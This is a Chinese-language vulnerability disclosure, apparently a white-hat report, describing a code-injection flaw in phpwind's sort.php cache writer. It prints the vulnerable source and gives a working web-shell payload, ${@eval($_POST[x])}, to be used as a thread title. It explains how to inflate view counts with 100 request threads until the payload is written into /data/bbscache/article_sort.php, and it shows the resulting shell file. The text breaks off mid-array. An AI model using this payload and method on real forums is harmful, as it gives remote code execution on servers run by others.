phpwind/sort.php 会定期每天处理一次帖子的浏览量、回复量、精华版排序
代码直接使用savearray将数据库查询出来的内容写入php文件，savearray出来的参数，都使用"双引号来包含，所以可以利用变量来执行任意命令
elseif($action==‘article‘){
$cachetime=@filemtime(D_P."data/bbscache/article_sort.php");
if(!$per || $timestamp-$cachetime>$per*3600){
$_SORTDB=$_sort=array();
$query=$db->query("SELECT t.tid,t.subject,t.replies,t.fid FROM pw_threads t LEFT JOIN pw_forums f ON t.fid=f.fid WHERE t.ifcheck=‘1‘ AND t.locked<‘2‘ AND f.password=‘‘ AND f.allowvisit=‘‘ AND f.f_type<>‘hidden‘ ORDER BY t.replies DESC LIMIT $cachenum");
while($topic=$db->fetch_array($query)){
if($topic[‘replies‘]){
$topic[‘subject‘]=substrs($topic[‘subject‘],25);
$_sort[]=$topic;
}
}
$_SORTDB[‘reply‘]=$_sort;
$_sort=array();
$query=$db->query("SELECT t.tid,t.subject,t.hits,t.fid FROM pw_threads t LEFT JOIN pw_forums f ON t.fid=f.fid WHERE t.ifcheck=‘1‘ AND t.locked<‘2‘ AND f.password=‘‘ AND f.allowvisit=‘‘ AND f.f_type<>‘hidden‘ ORDER BY t.hits DESC LIMIT $cachenum");
while($topic=$db->fetch_array($query)){
if($topic[‘hits‘]){
$topic[‘subject‘]=substrs($topic[‘subject‘],25);
$_sort[]=$topic;
}
}
$_SORTDB[‘hit‘]=$_sort;
$_sort=array();
$query=$db->query("SELECT t.tid,t.subject,t.digest,t.fid FROM pw_threads t LEFT JOIN pw_forums f ON t.fid=f.fid WHERE t.digest<>‘0‘ AND t.ifcheck=‘1‘ AND t.locked<‘2‘ AND f.password=‘‘ AND f.allowvisit=‘‘ AND f.f_type<>‘hidden‘ ORDER BY t.lastpost DESC LIMIT $cachenum");
while($topic=$db->fetch_array($query)){
$topic[‘subject‘]=substrs($topic[‘subject‘],25);
$_sort[]=$topic;
}
$_SORTDB[‘digest‘]=$_sort;
$ARTICLEDB=savearray(‘_ARTICLEDB‘,$_SORTDB);
writeover(D_P.‘data/bbscache/article_sort.php‘,"<?php\r\n".$ARTICLEDB.‘?>‘);
}
发表一个帖子：标题如下
再开一个多线程(100线程，几分钟就可以了)，请求访问那个帖子，直到帖子的访问量排入前20
function savearray($name,$array){
$arraydb="\$$name=array(\r\n\t\t";
foreach($array as $key=>$value){
$arraydb.="‘".$key."‘=>\narray(\r\n\t\t\t";
foreach($value as $value1){
$arraydb.=‘array(‘;
foreach($value1 as $value2){
$arraydb.=‘"‘.addslashes($value2).‘",‘;
}
$arraydb.="),\r\n\t\t\t";
}
$arraydb.="),\r\n\t\t";
}
$arraydb.=");\r\n";
return $arraydb;
二天，生成统计排行的时候，shell就躺在了 /data/bbscache/article_sort.php
三个白帽实际演示：http://**.**.**.**/data/bbscache/article_sort.php
/data/bbscache/article_sort.php
<?php
$_ARTICLEDB=array(
‘reply‘=>
array(
array("1","${@eval($_POST[x])}XXXX ..","5732","2",),
array("10","DDDDDDDDDDDDDDDDD","20","2",),
array("7","HI Everybody ( b)?","8","2",),
array("3","hello","5","2",),
array("5","??","3","2",),
array("2","test","3","2",),
array("9","AAAAAAAAAAAAA","2","2",),
array("6","?А?,"1","2",),
array("8","??萾?,"1","2",),
),
‘hit‘=>
array(
array("1","${@eval($_POST[x])}XXXX ..","11382","2",),
array("2","test","3235","2",),
array("3","hello","985","2",),
array("5","??","331","2",),
array("7","HI Everybody ( b)?","123","2",),
